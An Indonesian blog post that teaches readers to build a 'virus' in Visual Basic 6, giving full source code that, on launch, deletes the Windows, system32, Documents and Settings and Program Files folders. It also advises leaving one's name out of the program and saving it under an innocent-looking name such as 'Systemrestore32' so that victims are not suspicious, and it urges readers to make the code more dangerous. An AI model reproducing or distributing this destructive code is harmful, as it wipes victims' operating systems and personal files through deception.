Buat Virus dengan Visual Basic

Judulnya ngeri ya ?
Seberapa mematikan sih virus yang dibuat oleh program VisualBasic ini ?
menurut artikel-artikel yang saya baca, virus yang dibuat oleh program VisualBasic ini cukup berbahaya. Salah satunya adalah virus Brontok.


Sebenarnya apa sih keuntungan membuat virus ini bagi sang Programmer ?
apakah dia ingin tenar denganmembuat virus ? atau dia dibayar oleh kalangan yang mengelola pembuatan virus ini ? saya pun tidak tau kenapa
Bukannya seorang Programmer itu harusnya membuat sesuatu yang berguna seperti Myob for accounting ?
jawabannya menurut saya itu sih tergantung pribadi dari setiap programmer dan seberapa skill yang dia miliki. Seperti saya, saya hanya baru membuat 2 aplikasi menggunakan visual basic 6.0 yaitu Tugas Akhir saya "Membangun Sistem Parkir pada Plaza Pos Tanjung Karang" dan "Aplikasi Pengolahan Peminjaman Buku Perpustakaan". Kedua program itu saya buat sendiri dengan otodidak dan sedikit bertanya kepada teman-teman saya. Itu pun saya sudah merasa bangga. Apalagi kalau saya bisa membuat virus berbahaya dari VisualBasic.... hebat berarti...

Yang akan saya share di posting ini hanya virus ecek-ecek saja(kecuali ada mengambangkan sendiri syntax yang akan saya share dibawah ini)
Ikuti langkah-langkah berikut ini :

Yang harus anda persiapkan adalah :
1. Program VisualBasic 6.0


Langkah-langkah :
1. Buatlah form sekecil mungkin.
2. Copy paste syntax berikut :

Public Sub DelAll(ByVal DirtoDelete As Variant)

Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()
On Error Resume Next
If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If


End Function 


Catatan : "JANGAN TARUH NAMA ANDA DI VIRUS INI"


3. Simpan dengan nama file yang membuat orang tidak merasa curiga seperti "Systemrestore32" atau "SystemRecycle32" terserah anda.
Selesai...

Jika anda bisa kembangkan syntax diatas akan membuat virus ini semakin berbahaya.
terimakasih :D
Klik tanda +1 dibawah ini yaaa.... Description: Buat Virus dengan Visual Basic Rating: 5 Reviewer: Unknown ItemReviewed: Buat Virus dengan Visual Basic